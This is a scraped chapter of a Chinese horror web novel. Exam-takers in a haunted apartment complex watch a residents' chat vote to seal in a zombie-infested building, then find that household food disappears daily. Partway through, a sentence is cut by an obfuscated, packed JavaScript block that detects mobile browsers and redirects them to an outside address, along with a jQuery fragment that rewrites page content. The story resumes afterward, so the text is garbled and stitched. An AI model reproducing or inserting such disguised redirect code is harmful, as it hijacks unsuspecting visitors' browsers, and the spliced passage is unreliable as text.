夜色浓得像化不开的墨。


    归施琅站在601的客厅里，手里拿着一杯水，目光偶尔扫向窗外。


    窗外十三栋传来的尖叫声已经渐渐弱了下去，取而代之的是一片混乱的脚步声。


    602的业主走后走后，归施琅掏出手机，点开了“幸福公寓业主群”，手指在屏幕上划了几下，发了一条消息。


    就在这时，601的门响了三下，轻得像是试探。


    归施琅起身，慢悠悠地走到门口，拉开门。


    门外站着左玉和陆天枢。


    左玉一身简单的校服，手插兜，脸色平静，目光扫过房间。


    陆天枢跟在后面，手里拎着一袋零食，咧嘴一笑：“老左说串个门，顺便看看你这儿咋样。他妈刚跟我说，这边好像出了点事。”


    归施琅靠着门框：“哦，是有点热闹。”


    他顿了顿，把手机屏幕转过去，“我在业主群反映了一下十三栋的事，你们看看，他们聊得挺欢。”


    左玉走进来，随手关上门，接过手机，低头扫了一眼屏幕。


    陆天枢凑过来，探头一看，嘴里嚼着刚撕开的薯片，含糊道：“啥情况啊？”


    屏幕上，“幸福公寓业主群”里消息一条接一条地跳出来，群聊已经炸开了锅，全是关于十三栋的抱怨和讨论。左玉一条条往下看，眉头微微皱起。


    【幸福公寓业主群】


    业主-13栋302（张姐）：我们这儿怎么回事啊？又是吵又是闹的，刚才我从窗户看过去，好像还有人跑来跑去，满地都是血！这也太不像话了，物业管不管啊？


    业主-17栋1205（老李）：我刚听楼下大妈说，十三栋有人养了什么怪东西，把邻居咬了，现在满楼道跑，太吓人了！这小区还能不能住了？


    业主-15栋803（小王）：对啊，物业得赶紧处理，别传染到我们这边来


    业主-17栋601（归施琅）：刚听邻居说，十三栋那边闹得厉害，伤了人，完全不和谐友爱。建议物业查一下，别影响小区环境


    业主-13栋506（刘阿姨）：哎呀，伤人可不行啊！我侄子住三楼，说是有人疯了一样咬人，物业得报警啊，这种事不能姑息！


    业主-14栋1002（陈先生）：报警没用吧，这小区本来就怪事多。十三栋那动静，我看像是传染病，得隔离起来，别祸害其他楼


    业主-17栋1503（翠翠）：隔离+1！我晚上都不敢出门了，物业快想想办法吧，别让我们提心吊胆的。


    业主-16栋704（老赵）：我有个主意，十三栋那帮人不是喜欢闹吗？咱们业主群投票，把他们那栋封了，门窗都堵上，让他们自己折腾，别跑出来碍眼。


    业主-13栋401（小丽）：喂喂喂，楼上的别乱说啊！我住十三栋，刚才是有点乱，但没那么夸张吧？不就是有人打架吗，哪来的血和怪东西？”


    业主-17栋1205（老李）：打架？小姑娘你睁眼说瞎话吧，我亲眼看见一个人被咬了，爬都爬不起来，满地血，你当我们瞎啊？


    业主-15栋803（小王）：就是！我拍了照片，模糊是模糊了点，但那东西绝对不是人，跑得歪七扭八的，太邪门了


    【物业小陈：各位业主请冷静，我们已经接到反映，正在调查十三栋的情况。请大家不要恐慌，保持和谐，配合管理。】


    业主-14栋1002（陈先生）：调查有个屁用！物业每次都这么说，最后还不是不了了之？赶紧封楼，别等出大事！


    业主-17栋601（归施琅）：封楼是个办法，十三栋影响太坏了，建议物业快点行动，不然都不安生。


    业主-16栋704（老赵）：我看了一下，投票已经通过了，物业说今晚就封十三栋，大家安心吧。


    ……


    左玉看完这堆消息，把手机递回给归施琅，语气平静：“丧尸病毒是贺翔弄的，他以为这个最好扩散。”


    他顿了顿，从陆天枢手里拿过一袋薯片，撕开包装，“这鬼域不主动杀人，靠的是‘和谐’。十三栋乱成那样，群里却没人喊打喊杀，最好还听了你的建议，隔离、封楼？”


    陆天枢嚼着薯片，接话道：“对啊，老左说了，这地方的鬼怪不会直接动手，得咱们自己吓自己，演砸了才算完。”


    就在这时，窗外传来一阵低沉的轰鸣声，像是重物落地的闷响。


    左玉和陆天枢同时走到窗边，推开窗户探头望去。归施琅慢悠悠跟过来，靠着窗框，目光扫向十三栋的方向。


    灰雾中，十三栋的轮廓依旧模糊，但楼下的动静却清晰起来。


    一群穿着物业制服的人影忙碌着，手里拿着木板和铁条，正把十三栋一楼的大门和窗户封得严严实实。


    丧尸撞在门板上，发出一声声沉闷的撞击声，但都被牢牢挡在里面。


    楼上传来几声微弱的尖叫，随即被封楼的动静盖过，彻底安静下来。


    陆天枢瞪大眼，低声道：“老左，他们真把十三栋封了？”


    左玉眯起眼，盯着远处那栋被封死的楼，嘴角上扬：“嗯，和谐嘛。”


    温明明站在窗边，目光扫过左玉、陆天枢和归施琅三人，突然反应过来什么，脱口而出：“大家算是老乡吗？”


    这话一出口，他自己先愣了一下，意识到这么直白地问可能会破坏规则扮演的风险。


    气氛一瞬间凝滞，温明明心跳加快。


    归施琅挑了挑眉，算是默认。


    温明明松了口气，心里明白过来。


    他们果然都是考生！


    他眼底闪过一丝兴奋，毕竟能和全省第一的左玉同场考试，怎么想都让人有点激动。


    可当他的目光落在归施琅身上时，又多了几分不解。


    这家伙的身份是“业主”，甚至能直接在业主群里发言，怎么看都不像普通的考生，总觉得哪里不对劲。


    就在这时，归施琅突然开口，打破了沉默：“业主群里又有动静了。”


    他掏出手机，点开屏幕，“他们在说十三栋那边事情多，物业招募临时保安，要人手帮忙处理。”


    左玉和归施琅对视一眼，眼神里闪过一丝默契。


    左玉咬了口薯片，慢条斯理地说：“过去看看吧，了解一下他们一般的办事流程。”


    他顿了顿，把薯片袋塞回陆天枢手里，“走。”


    第二天清晨，幸福公寓十七栋六层的窗外，天色依旧灰蒙蒙的，雾气压得人喘不过气。


    昨天一整天，整个幸福公寓居然什么事都没发生。


    没有鬼怪袭击，没有规则杀，甚至连高考的考生都没听说有人出局。


    这平静得太不正常了。


    十三栋一楼的大厅昏暗潮湿，空气里弥漫着一股腐臭味。


    左玉、陆天枢、归施琅和温明明站在大厅中央，手里各自握着一把物业分发的麻醉枪，枪身轻巧但冰冷，枪口微微泛着金属光泽。


    墙角堆着几块被撞得变形的木板，地上散落着干涸的血迹，显然是之前封楼时留下的痕迹。


    “哒哒哒——”


    一阵急促的脚步声从走廊深处传来。


    左玉眯起眼，举起麻醉枪，枪口对准声音传来的方向。


    一个身影跌跌撞撞地冲出来。


    青灰色的皮肤，嘴角淌着黑红的液体，眼珠子浑浊泛白。


    正是丧尸。


    左玉毫不犹豫扣下扳机，“砰”的一声，麻醉针精准射中丧尸的额头。


    丧尸猛地一顿，像是被定住，紧接着脑袋“啪”地炸开，黑红的液体溅了一地，尸体软塌塌地倒下。


    陆天枢瞪大眼，手里的麻醉枪差点掉地上，结巴道：“这哪算和谐友爱啊？还麻醉


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15197001|164871||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    枪，直接爆头了！”


    温明明咽了口唾沫：“表面上的和谐友爱罢了。”


    左玉放下枪，皱眉扫了眼四周，脑子里飞快转着念头。


    这个地方的和谐显然只是个幌子，可他总觉得没这么简单。


    这些原住民在丧尸病毒肆虐的情况下，居然没有一个尸变成怨灵？


    这不合理。


    像李家村那种地方，死亡后怨气爆发，村民几乎全变成了鬼怪，可这里却平静得诡异。


    就在这时，走廊尽头的一扇门“吱呀”一声开了。


    一个瘦骨嶙峋的老头探出头来，花白的头发乱糟糟地贴在额头上，脸上皱纹深得像刀刻，眼神浑浊。


    他扶着门框，声音沙哑地开口：“我……我好像没什么吃的了，能不能给点食物？”


    左玉和几人对视一眼，保持着距离，没靠近。


    陆天枢从口袋里掏出一根能量棒，远远地扔过去，落在老头脚边。


    老头忙不迭地弯腰捡起来，双手捧着，感激地连声道：“谢谢，谢谢，真是好人啊！”


    他缩回门内，门“砰”地关上，走廊又恢复了死寂。


    一路走过去，他们遇到了好几个居民探出头来要吃的，语气急切，像饿了好几天。


    可这楼才被封了一天，怎么会饿成这样？


    左玉停下脚步，转头看向一扇半开的门。门后站着一个年轻女人，头发凌乱，穿着皱巴巴的睡衣，手扶着门框，低声道：“有吃的吗？我饿得不行了……”


    左玉没说话，从口袋里掏出一块压缩饼干扔过去，女人接住后忙不迭缩回去。


    几人走出十三栋，站在楼下的空地上。


    左玉皱眉：“一路上找我们要吃的人太多了，可封楼才一天，他们怎么会这么饿？”


    陆天枢挠了挠头：“对啊，昨天封楼，今天就饿成这样，不科学啊。”


    左玉低头摩挲着手里麻醉枪的枪身，目光沉沉：“咱们回去看看自己房间里有没有吃的。如果没有，那说明……”


    他顿了顿，抬头扫了眼几人，“昨天物业让我们当临时保安，发了点东西，但都是麻醉枪和能量棒这种应急物资。”


    陆天枢瞪大眼，手里的薯片袋早就空了，他拍了拍裤子上的碎屑：“老左，你是说这鬼域逼咱们每天出去找吃的？家里存不住东西？”


    归施琅语气带了几分戏谑：“有意思。如果真是这样，那我们就必须每天去采购点。”


    他顿了顿，目光扫向窗外，“封楼一天，那些人就饿成那样，说明食物不是按正常逻辑来的。”


    温明明皱眉，接口道：“对，我也在想。只是一天，检查时那些原住民却饿得要命。如果家里的食物每天清零，或者压根不让囤，那他们只能每天外出买。”


    几人对视一眼，没再多说，转身朝十七栋走去。


    回到六层，左玉推开602的门，房间里依旧是熟悉的现代格局。


    陆天枢一进门就直奔厨房，翻开橱柜，里面空荡荡的，只有几只空盘子和一包过期的盐。


    归施琅走进601，打开冰箱，里面除了一瓶矿泉水，什么也没有。


    左玉站在客厅中央，目光扫过房间：“看来这鬼域的其中一个隐藏规则就是，每天必须外出买食物。”


    他顿了顿，走到窗边，推开窗户望向十三栋的方向。


    陆天枢从厨房走出来：“老左，你说他们会不会偷偷藏了吃的？”


    左玉摇头，语气带着几分冷意：“不可能。如果能藏，昨天检查时他们不会饿成那样。”


    他顿了顿，突然眯起眼：“如果这小区真是按天囤食物，没食物一两天可以，长久呢？鬼怪的行事方式还不清楚，但考生被封楼没吃的，最后一定会去抢夺其他人。”


    “甚至可能出现食人。”


    “他们一定会违背和谐友爱。”